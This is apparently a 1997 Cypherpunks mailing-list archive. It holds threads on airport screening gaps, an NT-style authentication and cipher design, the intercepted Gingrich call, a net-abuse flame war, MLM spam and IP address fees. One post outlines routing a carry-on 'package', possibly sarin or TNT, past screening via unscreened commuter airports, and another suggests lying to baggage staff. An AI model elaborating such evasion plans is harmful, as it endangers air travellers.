     the PC-SUPER-MLM software for your personal evaluation.

     The software will be sent to you via E-mail as an
     attachment.

     Alternatively you can download it yourself from our WEB
     sites located at...

     USA Site...
     http://business.atcon.com/parker/Lee/leepsm.htm
     (this site has been unreliable lately)

     Australian Site...
     http://www.gil.com.au/comm/cdpub/money.html

     I thank you sincerely for taking the time to read this
     short email. Have a happy day.

     Happy Computing, Lee Asher.

     Email: leeasher@gil.com.au







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 15 Jan 1997 09:01:35 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Airport security [no such thing]
Message-ID: <v02140b00af02bc97ae6a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Krenn wrote:
>
>> But wait - won't the all-important "did you pack your bags yourself" and
>> "did anyone give you bags to take on the plane" stop them? ;-)
>
>  If your friends or family are a little late catching the same plane as
>yourself, then just answer, "No, my son packed them."
>  This, on the average, gives your companions an extra 10-15 minutes
>to catch the plane, since regulations require them to do a complete
>check of your baggage (and they are 'supposed' to take them to a
>secure area to do so).
>  Since you are ready to board the plane they cannot legally detain
>you and let the plane go on, in order to process you and your
>baggage according to proper regulatory procedure. They must,
>instead, detain the plane.
>  They may jump up and down and tell you this is not so, but I have
>never missed a plane, and neither have most of my tardy companions.

I don't know which airlines you fly, but the ones I am familiar with ask
these questions at the baggage counter (checked luggage) and gate (carry-on
items).  Since you are supposed to be at the airport one hour before
departure, in most instances if you get to the counter or gate less than 10
minutes before take-off your reservations lapse (by Fed rules) and  are no
longer requred to board you. If they are forced to search you luggage they
will, legally, allow the plane to depart w/o you.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy Michael O'Brien" <tmo9d@virginia.edu>
Date: Wed, 15 Jan 1997 06:32:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seen Your Post!
In-Reply-To: <199701150917.BAA18755@mailgate31>
Message-ID: <32DCEA80.41C6@virginia.edu>
MIME-Version: 1.0
Content-Type: text/plain


I Seen da light....

Tons O'Cash REAL Quick.......Mail me and I'll tell you more about how
you are going to give me all of your money and I'm going to take it away
from you.......

I resolve that all users of this list "misconfigure" thier own mailers
and give this guy a real run for his money....

Tim O'BRien

SCREW THE SPAMMER

Garry wrote:
> 
> I Seen Your Post!
> 
> I found your post in one of my favorite news groups. You might find my views
> are exactly the same. In fact my entire WebSite is right up that alley.
> Every business Opportunity listed at my sight is FREE! In fact one of the
> businesses I joined (again free) has an excellent earning potential of
> over $600 profit per YEAR, per CUSTOMER! The best part is don't do anything
> except promote the business. The company does everything for me!!! Although
> I do not have anything against MLM,  this is not!
> 
> In order to even notice this biz you have to look up in the top window frame
> of my site as its loading the image (read the text).
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Wed, 15 Jan 1997 09:42:43 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <3.0.32.19970114222343.006b6f9c@192.100.81.126>
Message-ID: <Pine.3.89.9701150911.A2696-0100000@netcom22>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 14 Jan 1997, Lucky Green wrote:

> I recently took a domestic flight from the Oakland, CA airport. While
> waiting for the airplane, I spent some time observing the security measures
> at the X-ray machine.

[snip]

> Then came the big one: A man wearing a beer truck driver uniform approached
> the checkpoint. On his hand truck were two kegs of beer. For those
> unfamiliar with such objects, a keg of beer is a cylindrical stainless
> steel container, about 1.5 feet tall with about 1 foot diameter.
> 
> I was wondering what the procedure for handling these rather large steel
> containers would be.  Would they be X-rayed? How much shielding would the
> steel provide for the contents? Much to my surprise, the man did not
> approach the X-ray machine. Instead, he went straight for the "exit only"
> walkway. The guard posted there to make sure that nobody would enter
> through the exit gave the fellow only a cursory glance as he entered the
> "secure" area unchallenged.
> 
> I was flabbergasted. They let a man with two *large steel containers* enter
> unchecked? No asking for ID, no X-ray? I struck up a conversation with the
> beer truck driver. I asked him why the kegs did not get X-rayed. He looked
> at me with an expression of utter lack of understanding and answered: "They
> are too heavy to be put on the [conveyor] belt."
> 
> Right... We wouldn't want to have these 50 pound steel barrels jam the
> X-ray machine.

Was he wearing a ID badge with a photo?  Was he known to the security
staff?

One wonders, do they x-ray or inspect the food that goes to the 
snack bars, the liquor that goes to the bars, the merchandise that goes 
to the newsstands and gift shops?  Do they even inspect the hand baggage
of flight crews?

It isn't that airport security is lax; it's that providing security runs
at cross-purposes with providing access for the general traveling public 
and the services they expect.

Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 15 Jan 1997 09:51:42 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Airport security [no such thing]
Message-ID: <3.0.32.19970115095215.006cff28@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 09:42 AM 1/15/97 -0800, Alan Bostick wrote:
>Was he wearing a ID badge with a photo?  Was he known to the security
>staff?

I would assume the staff knew the person. But that's not the point. The
beer delivery man could hardly know what was in the kegs. The kegs might
have been switched beforehand. In the warehouse, at a previous stop, etc.
An attacker might have to replace several kegs, to make sure that at least
one altered keg makes it inside the "secure" area. This can be done quite
easily.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Wed, 15 Jan 1997 10:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701151808.KAA29336@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> As most readers probably know, laptops are often subject to manual
> scrutiny. From my non-representative sample, about four out of five tote
> bags clearly containing laptops will be manually searched. Typically, the
> attendant requires that the laptop is powered up. In none of the 20+ manual
> searches I witnessed did the security personnel wait past the RAM check
> before clearing the passenger. I could not help but contemplate how much of
> the insides of the laptop could be replaced while still obtaining an
> identical display.

Almost all of them.  I saw the keyboard of an IBM thinkpad flipped up
at a party the other day and was flabbergasted.  It's all empty space!
You can add & remove innards all you want.  Disk drives, batteries, etc.
are all removable.  The actual computer itself is so tiny I couldn't
believe it.  You could pull out the CD-rom, floppy disk, spare battery, etc.
and have a nearly empty box that still runs windows and unix.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amanda@intercon.com (Amanda Walker)
Date: Wed, 15 Jan 1997 07:41:47 -0800 (PST)
To: markm@voicenet.com>
Subject: Re: Hi again, and an invitation to kibitz
Message-ID: <199701151541.KAA26095@mail.intercon.com>
MIME-Version: 1.0
Content-Type: text/plain


> > (b) Client sends Microsoft NT authentication response to the server
> >     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
> >     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
> >     the challenge three times, send the 24-byte result as the response).
> 
> I think this can be strengthened in a few ways.  The third DES key generated
> using this technique has an effective keylength of 16 bits.

Correct.   This is the reason I've been thinking of switching to SHA-1,
which gives a 20-byte hash (leaving only one byte of zeros, which can
be filled in with some function of the other 20 bytes to arrive at 21 bytes).
I haven't found any hole opened by exposing the last two bytes of the MD4
hash, but it's the piece I'm most worried about just on general principles
(never expose more than you have to :)).  I'm currently using the NT
algorithm simply because I had it around and needed to get a demo working
for the show.  We're not tied to using it, although it would be useful
if we end up doing an NT version of the server (since NT stores the MD4
hashes of passwords, not the plaintext).

> I believe the D-H patent expires sometime in September or October this year.

Yup.  April was wishful thinking on my part; we won't adopt D-H until the
patent expires.

> Any unbroken cipher with a keyspace larger than that of DES would be better.

Yup.  I started with vanilla DES because I was worried about speed, but
as it turns out the cipher step has a negligible impact on performance.
I'm considering DES-EDE (the easy option), Blowfish (also pretty easy),
or the DES variant Bruce Schneier describes in Applied Cryptography, 2nd ed.
(the one with independent subkeys).  So far, DES-EDE and Blowfish are the
front runners, since they're the ones that have been poked at the most.
DES-EDE has the advantage that more people know what DES is (the "buzzword
compliance" factor).  I'm not inclined to make the cipher a user-configurable
option unless customers demand it, just to keep the user interface as simple
as humanly possible.


Amanda Walker
InterCon Systems Corporation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Tue, 14 Jan 1997 15:57:02 -0800 (PST)
To: nelson@media.mit.edu (Nelson Minar)
Subject: Re: New US regs ban downloadable data-security software
In-Reply-To: <cpag204huqp.fsf@hattrick.media.mit.edu>
Message-ID: <19970114235303.6177.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


> shamrock@netcom.com (Lucky Green) writes:
> > Commercial data security software of any kind, regardless if it uses crypto
> > or not, is however prohibited from being distributed via the Internet or
> > being exported by any other means.
> 
> I can at least vaguely understand the rationale behind restricting the
> export of cryptography. But I don't even begin to comprehend
> restricting the export of data security software. What is going on
> here? Whose idea is this, what is the agenda?
> 

If you read ITAR you will see that State explicity bans export of any
operating system with a security rating of B2 or above.

The adgenda is pretty obvious.

Cheers,
Julian <proff@iq.org>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 15 Jan 1997 10:55:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seen Your Post!
Message-ID: <199701151855.KAA26449@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:17 AM 1/15/97 -0800, Garry wrote:
>I Seen Your Post!
>
>I found your post in one of my favorite news groups. You might find my views
>are exactly the same. In fact my entire WebSite is right up that alley.
>Every business Opportunity listed at my sight is FREE! In fact one of the
>businesses I joined (again free) has an excellent earning potential of
>over $600 profit per YEAR, per CUSTOMER! The best part is don't do anything
>except promote the business. The company does everything for me!!! Although
>I do not have anything against MLM,  this is not!

Anyone else ever listen to Paul Harvey?  Anyone else know what it is like to
realize that you are listening to an ad halfway through the ad?  I hope that
our moderator will judge posts on the total content, otherwise insidious
little posts like this one may slip through.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 15 Jan 1997 10:57:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701151855.KAA26454@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:42 PM 1/14/97 -0800, Bill Stewart wrote:
>At 10:23 PM 1/14/97 -0800, Lucky Green wrote:
>>As most readers probably know, laptops are often subject to manual
>>scrutiny. From my non-representative sample, about four out of five tote
>>bags clearly containing laptops will be manually searched. 
>
>It's extremely airport, guard, and moon-phase dependent.
>Some places are real picky, some aren't.  I've started following
>someone's advice about having the laptop go through vertically;
>it doesn't look like a big opaque block to them, and they can see
>the rest of the stuff.  When I tried it in Orlando, they said
>"It has to go through lying down", ran it back through lying down,
>said "Computer", I said "Yup", and they handed it to me :-)

So, to successfully place a "package" on an international flight, take a
connecting flight that hooks up at the same terminal.  Go to your local "has
no x-ray, doing well to have a metal detector" airstrip and take a flight on
one of the commuter flights such as Eagle, (this way you might be lucky
enough to enter the next, probably major airport, in the same terminal as
some international flights.)  Now, its presumed that you have already been
searched at your last stop because you're already in the secured area.

Such a plan would require multiple stops and homework into the layout of the
airports (to know which airlines share the same terminals).

Also, the bag would have to be a carry-on, otherwise the dogs would get it.

BTW, the package could be just about anything, including chemicals, sarin,
TNT, artifacts, human tissue, or anything else with export controls and
being a physical substance.

This post is not meant to suggest ways of breaking state, federal, or
international laws.  Merely to point out the weaknesses of the system as it
stands.  If the airport network was a computer network, it would be
compromized inside of 48 hours.  All because the level of trust between
airports defaults to full.

Correct me if I'm wrong.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: varange@crl.com (Troy Varange)
Date: Wed, 15 Jan 1997 11:40:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dick Graves continues his DOS attack
In-Reply-To: <5bi90n$dr5@Networking.Stanford.EDU>
Message-ID: <Love@147375>
MIME-Version: 1.0
Content-Type: text/plain


Subject: Dick Graves continues his DOS attack

> The appended messages from Howard Goldstein
> <hgoldste@bbs.mpcs.com>, Stan Kalisch III <sjkiii@crl.com>,
> Chris Lewis <clewis@ferret.ocunix.on.ca>, Eric Bohlman
> <ebohlman@netcom.com>, trebor@sirius.com, Dave the
> Resurrector, and myself below show why Dave Harman,
> formerly qut@netcom.com and an572010@anon.penet.fi, now
> varange@crl.com, has targeted us. While the deranged varange
> may occasionally sound superficially plausible, his record
> is quite clear. Apologies for the length, but I figure it's
> better to have this all in one place. This article is also
> saved at http://www-leland.stanford.edu/~llurch/skipsummary

This article will be saved to
http://www.crl.com/~varange/netabuse/ or the NET ABUSE -
FALSE COMPLAINTS category of my index.html.

> Since abuse@crl.com just goes to /dev/null, I'd appreciate it if
> some CRL user could confirm, as three different CRL users did
> a month ago in response to a rash of forged usenet postings
> in October (I'm appending two posts on that topic below),
> that the only account logged on to the given machines at the
> time of every incident of forged net abuse was varange@crl.com.

Six weeks or so is all the public access there is to the wtmp
file; ask Sandy or Stan if you don't know how to read it from
your own CRL account.  (How conveniant of you to accuse me of
the repulsive "Mark Wehal(sp?)" forgery past the date it can be
easily verified; why should the CRL admins drag out their backup
tapes on the account of your spurious allegations?  Anyone who
checked up Dejanews on "Mark Wehal" could have seen that some
user had forged his name as revenge spam against "Mark Wehal's"
offensive under 18 style sex spam in a few exceedingly odd
choice of newgroups, alas, "Mark Wehal" never complained about
the forgery and an unknown user may have been the instigator
of a business prank against a ligitimate electronics firm
whose street address was listed in the original sex spam.)

>  crl6  Wed, 8 Jan 1997 01:14:26 -0800
>  crl6  Wed, 8 Jan 1997 01:07:02 -0800
>  crl11 Sun, 8 Dec 1996 02:22:59 -0800
>  crl6  Tue, 24 Dec 1996 17:10:58 -0800

Or check the Here: line of my posts for better readability
than the additional standard Date: line.

> Forged email headers follow. The full 750K text of the
> unwanted harassing email, of which I received several copies,
> is at http://www-leland.stanford.edu/~llurch/skipbomb2
> and skipbomb3. I'm sure more people besides Gord McFee
> and I received copies; maybe everyone on his targets list,
> ftp://ftp.netcom.com/pub/qu/qut/misc/address
> 
> Personally, I think nine months of this bullshit is more than
> enough. If CRL sees no problem with this, then I don't believe
> CRL should be allowed access to our network.

"Our?"  Are you allowed to abuse the Stanford network because
you are a user, employee, or the actual admin?

If Graves is the actual admin, or is allowed to act like one,
then bona fide complaints about users conduct on the Stanford
network can't be sent directly via e-mail; send a registered
letter/return receipt to whomever is responsible (who?)

I read his post as a threat to the Stanford network.


Bogus complaints and forged posts from everyone under the sun:
----------------------------------------------------------------------
[deleted]  Full article referred by myself to my web page:

http://www.crl.com/~varange/netabuse/

-- 
Cheers!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 15 Jan 1997 08:46:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701151646.IAA23007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Wed, 15 Jan 1997 07:59:24 -0800 (PST)
> From:          Brian Lane <nexus@eskimo.com>
> To:            Eric Murray <ericm@lne.com>
> Cc:            cypherpunks@toad.com
> Subject:       Re: Newt's phone calls

> On Tue, 14 Jan 1997, Eric Murray wrote:
> 
> > Clay Olbon II writes:
> > > 
> > > The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"
> > > stated today that he was parked in the lot of a Waffle House in Lake City
> > > FL.  The couple said that they just happened to be driving by when they
> > > overheard and began taping the conversation.
> > 
> > Interesting.  In California, operating a scanner while driving is illegal.
> > Of course it was probably the passenger running the scanner.
> 
>   Actually in Florida its illegal to even have a scanner in your car!
> These folks have broken several state and federal laws, as well as the
> congressman who leaked it to the newspapers instead of turning it over to
> the head of the Ethics committe as he should have. Everyone involved here
> is, or should be, in deep yogurt.
> 
>   I don't like the laws they passed, but since they passed them I want to
> see them enforce them to the full extent posible. Then maybe people will
> start to wonder why the transmission wasn't encrypted. Which also leads to
> another question. How much information is in the clear from congressmen
> and government employees who are clueless about the security of their
> cellphones, cordless phones, etc?

>   Brian

I don't know about Florida, but in most states with 
anti-scanner-in-car bans, there's an exception for
FCC licensed Amateur Radio Operators (aka 'hams').

Peter Trei
N1MNV

trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: usteam1@tech-center.com
Date: Wed, 15 Jan 1997 08:56:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: auto-reply to your request...
Message-ID: <199701151656.LAA16713@dub-mail-svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


>Recently  this  E-mail  address was provided to one of our sites
>autoresponders  and  activated  this  auto  reply.   In  order  to   
>accurately provide you with the correct information we need you 
>to help us by specifying  what information you were interested in. 
>Below you will find  seven(7) items  to  select from. Please select 
>which choice(s) match your needs and type its keyword in either
> the subject  area  or  the  message  area  of  your  reply  to us at:  
>>>>    usteam@tech-center.com      (***Note:  If you need to 
>choose  more than one(1) keyword,   please use a separate line 
>for each  keyword you choose).    Thank You for your request!                
>...........................................................................................................
>                                                                    
>  (1)                    Keyword:  INFO-ALL              
>*Obtain Information on ALL selections/software/ services 
> offered below (on choices #2 thru #6).         
>
>  (2)                    Keyword:  FREE-EMAIL          
>*How To get this FREE software,for your home or  business,
> No Internet access needed.   It's 100% FREE!  
>
>  (3)                     Keyword:  FREE-PAGER         
>*How  you  can  obtain  one  or  more  Pagers  FREE  for 
> your  personal  or  business  use.              
>
>  (4)                      Keyword:  PAGER-BIZ              
>*How  You  Can  Get  PAID  To  Give  Away  FREE  PAGERS.
> 10% of the monthly paging service fees for the life of the customers.
> 
>  (5)                       Keyword:  LONG-DISTANCE  
>*How you can  SAVE  $$$  on your home or business Long Distance 
> with a FLAT RATE per minute plan (Average Savings $120 Annually
> for residential customers). Also info on  Unlimited Internet Access for
> (home & business) for One Low FLAT RATE. (Business Internet has 
> FREE 5 MB file space for your Web Site,  150  word  classified  ad, 
> listing in all major search engines & more);  cellular;   Pre-paid calling 
> cards & other telecommunication products & services.   
>
>  (6)                         Keyword:  TELECOM-BIZ       
>*How To Get PAID To 10% of  EACH Customers Long Distance bill, 
> Internet services  &  All  Telecom products/services,  you refer &  they   
> refer (NO Limits!)  (FREE to become  a marketer  and/ or a customer).                             
>  
>  (7)                          Keyword:  REMOVE                
>*If we've responded to  an  Incorrect  E-mail address, due to a typing 
> error, which occurs  by the requesting party; or  you've changed  your 
> mind & do not want our  FREE  Information,  we  will  Remove  &  
> unsubscribe  you  from our database;  Nothing further is sent to you.     
>
>End message<
                   
                   
 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Date: Wed, 15 Jan 1997 11:03:08 -0800 (PST)
To: abostick@netcom.com (Alan Bostick)
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.3.89.9701141425.A3919-0100000@netcom18>
Message-ID: <199701151811.MAA11019@dallas2.Central.Sun.COM>
MIME-Version: 1.0
Content-Type: text


Alan Bostick writes:

>It is also possible that somewhere in the chain of information between
>mom&pop, the media, and us, the distinction between "cordless phone"
>and cellular phone.  I gather it was a conference call that was 
>intercepted.  All it takes is one participant using a cordless phone in 
>range of one scanner, and the whole conversation is compromised.

Yes, a conference call (and we do know there were multiple participants)
over a cordless makes sense.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 15 Jan 1997 14:17:02 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Seen Your Post!
In-Reply-To: <199701151855.KAA26449@toad.com>
Message-ID: <Pine.SUN.3.91.970115140535.6353A-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Wed, 15 Jan 1997, Sean Roach wrote:

> At 01:17 AM 1/15/97 -0800, Garry wrote:
> >I Seen Your Post!
> >...

> I hope that our moderator will judge posts on the total content,
> otherwise insidious little posts like this one may slip through.

I caught that one.  I'm sure some will slip through from time to
time though.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 15 Jan 1997 08:46:28 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <853345825.97642.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> And how come Paul didn't use the word "fuck" in every paragraph, the way
> he usually does?

I suppose you want a special censored list where everyone who uses 
the word "fuck" in relation to your good self or any other member of 
this list you agree with has their posting cut?

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 17:01:41 -0800 (PST)
To: aburner@erols.com
Subject: Re: Erols again...
In-Reply-To: <9701151709.AA02469@gypsy.seas.gwu.edu>
Message-ID: <32DD754A.64F7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Afterburner wrote: 

>         In other news, abuse@erols.com is no longer pulling this list, so
> you're safe from further canned responses from that address.  Sadly, it
> wasn't an autoresponder.  It was a real-live human being sending out
> canned responses that had been written by the PREVIOUS abuse@erols.com
> person. 

  It has finally happened--the machines have taken over.
  Now, the machines will lie on the beach in Hawaii while the humans
do all of the mindless grunt-work.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lone_Wolf <gt6511a@cad.gatech.edu>
Date: Wed, 15 Jan 1997 13:28:54 -0800 (PST)
To: abostick@netcom.com (Alan Bostick)
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.3.89.9701150911.A2696-0100000@netcom22>
Message-ID: <199701152127.QAA26105@gypsy.cad.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain


# On Tue, 14 Jan 1997, Lucky Green wrote:
# 
# > I recently took a domestic flight from the Oakland, CA airport. While
# > waiting for the airplane, I spent some time observing the security measures
# > at the X-ray machine.
# 
# [snip]
<snip>
# 
# > I was flabbergasted. They let a man with two *large steel containers* enter
# > unchecked? No asking for ID, no X-ray? I struck up a conversation with the
# > beer truck driver. I asked him why the kegs did not get X-rayed. He looked
# > at me with an expression of utter lack of understanding and answered: "They
# > are too heavy to be put on the [conveyor] belt."
# > 
# > Right... We wouldn't want to have these 50 pound steel barrels jam the
# > X-ray machine.
# 
# Was he wearing a ID badge with a photo?  Was he known to the security
# staff?

So?  Anybody in computer security knows that many of the biggest security
threats are within the organization.  Hell, the cops in NYC were going nuts
a few months back because a delivery driver made off with an entire shipment
of handguns, and sold most of them on the street before being caught.  Given,
his alleged past history was such that he likely wouldn't pass the background
check for secure-area access of an airport, but there's still holes.  I remember
being warned back in my armed-security to get through college days that the
gate I was guarding was considered part of the "secure" zone of the airport 
(runway extension, I was verifying ID cards on heavy equipment drivers as
they drove in and out), so I needed to make sure I didn't have any weapons (or
at least not visible) because the airport cops would go nuts if they saw any.
Note:  I accessed this area with NO check of me or my vehicle (what prompted
the warning was the construction boss who had contracted with my company 
noticed my holster), and the security company I worked for had never asked me
for enough personal data to do a full background check.
# 
# One wonders, do they x-ray or inspect the food that goes to the 
# snack bars, the liquor that goes to the bars, the merchandise that goes 
# to the newsstands and gift shops?  Do they even inspect the hand baggage
# of flight crews?

Depends on the airport.  Back in October, I witnessed a pilot annoyed that his
hand luggage was being inspected at Hartsfield Int'l in Atlanta.
# 
# It isn't that airport security is lax; it's that providing security runs
# at cross-purposes with providing access for the general traveling public 
# and the services they expect.

Only partially.  A BIG factor in security problems at US airports is low pay,
poor training, and few incentives for the airport security personnel.  Most
physical security jobs of any sort are not much more than minimum pay, and even
supervisors are poorly paid.  As a result, few quality people are in the least
bit interested in working security.  Those that do often don't get the full
training to do their job.  Police work faces many of the same factors, but
security work is just about always rated lower socially/professionally than
police work, and police work offers more individual challenges and peer support
(not all of the forms of peer support are good for society, and the level of
challenge can present their own problems, but that's another issue).

James

# 
# Alan Bostick               | To achieve harmony in bad taste is the height
# mailto:abostick@netcom.com | of elegance.
# news:alt.grelb             |      Jean Genet
# http://www.alumni.caltech.edu/~abostick
# 
# 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 17:01:51 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <v02140b00af02bc97ae6a@[10.0.2.15]>
Message-ID: <32DD7B67.3D7F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
> 
> >  If your friends or family are a little late catching the same plane as
> >yourself, then just answer, "No, my son packed them."
> >  This, on the average, gives your companions an extra 10-15 minutes
> >to catch the plane, since regulations require them to do a complete
> >check of your baggage (and they are 'supposed' to take them to a
> >secure area to do so).

Steve,
  If you still have the original of this message, could you forward a
copy
to me, as I would like to check the original headers on it.
Thanks,
 Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frogfarm@yakko.cs.wmich.edu (Damaged Justice)
Date: Wed, 15 Jan 1997 13:57:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) MISC> ISPs to be hit with fees
Message-ID: <199701152157.QAA29314@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain


Path: wmich-news!gumby!newsxfer.itd.umich.edu!ncar!newsxfer.itd.umich.edu!newsxfer3.itd.umich.edu!howland.erols.net!feed1.news.erols.com!arclight.uoregon.edu!mr.net!news.mid.net!news.mid.net!not-for-mail
From: Gleason Sackman <gleason@rrnet.com>
Newsgroups: comp.internet.net-happenings
Subject: MISC> ISPs to be hit with fees
Date: 13 Jan 1997 09:29:05 -0600
Organization: Global Internet, Peace of Mind is finally Online!
Lines: 80
Sender: infoserv@news.mid.net
Approved: ralphie
Message-ID: <5bdkc1$bie@shocker.gi.net>
NNTP-Posting-Host: shocker.gi.net

Date:         Mon, 13 Jan 1997 08:49:16 -0600
From: The CyberTracker <JAX@CyberTracker.com>
Subject:      ISPs to be hit with fees
To: NETTRAIN@LISTSERV.ACSU.BUFFALO.EDU


ISPs to be hit with fees
By CNET STAFF
January 10, 1997, 6:45 p.m. PT

The cost of getting online looks like it's going up again.

Network Solutions, the InterNIC subcontractor that assigns Internet domain
names for a fee, has proposed tacking on more fees to the numeric addresses
behind those names, addresses that are now free.

For example, the domain name "cnet.com" masks a numeric Internet Protocol
address. The domain name system makes it simpler to send email or locate a
Web site by name, rather than by a number up to 12 digits long, such as
198.41.0.52.

Under Network Solutions' plan, a new nonprofit organization called the
American Registry for Internet Numbers would replace the
government-subsidized InterNIC IP group. North American ISPs would be hit
with fees ranging from $2,500 up to $20,000 for blocks of IP numbers that
they now receive for free and parcel out to their users.

The plan would not affect individual users unless the ISPs chose to pass
along the additional costs. But nonprofits, free community networks, and
others that do not charge for Internet access would have to pay. "They all
have operational fees today," said Jon Postel, head of the Internet
Assigned Numbers Authority (IANA), which oversees all three of the world's
Internet number assigning authorities, including the InterNIC IP group.
"It's just another operational expense."

It is the IANA as well as the National Science Foundation that would have
to approve Network Solutions' plan before it would go into effect.

The proposal is not clear about how the registry would spend the thousands
and possibly millions of dollars it would take in each year if the plan
goes through. The proposal did say that the executive director, chosen by
the board of trustees, would receive a salary determined by the board.

Network Solutions' representatives could not be reached for comment. But
IANA's Postel says that Net addresses must be treated like the airwaves.

"Address space is a kind of a public resource like the airwaves," he said.
"There are certain bands set aside for CB radio, but if you want to be a
powerful radio station, you have to go through a much more complicated
licensing procedure."

But unlike the airwaves, Internet address space is public resource that is
parceled out without any governmental oversight, whereas the Federal
Communications Commission oversees spectrum allocation.

Postel thinks the lack of such oversight is a good thing. "You think about
the FCC procedures and how long it takes to get a decision out of them on
anything," Postel said. "I'm not sure you'd want them involved."

Only companies and individuals capable of paying a $1,000 per year in fees
will be allowed to participate in forming American Registry's policies. By
contrast, any U.S. citizen has the right to file comments with the FCC
about communications policies.

The American Registry's five-member board of trustees would be initially
selected by Network Solutions. Future boards would in their turn be
selected by the board that Network Solutions had picked, giving the private
company an unprecedented influence over the assignment of increasingly
scarce IP numbers. The IP numbering system is reaching its limits and plans
are currently being considered to extend it.
**********************************************************************
* Jackson K. Windham              * CyberTracker Consulting Services *
* JAX@CyberTracker.com            * Internet Consultant / Trainer    *
* ACE INTERNET CLUB - President   * Http://www.CyberTracker.com      *
**********************************************************************
*** Member of HTML Instructors Association and HTML Writer's Guild ***
******* May the Best of your Past, Be the Worst of your Future *******
**********************************************************************



-- 
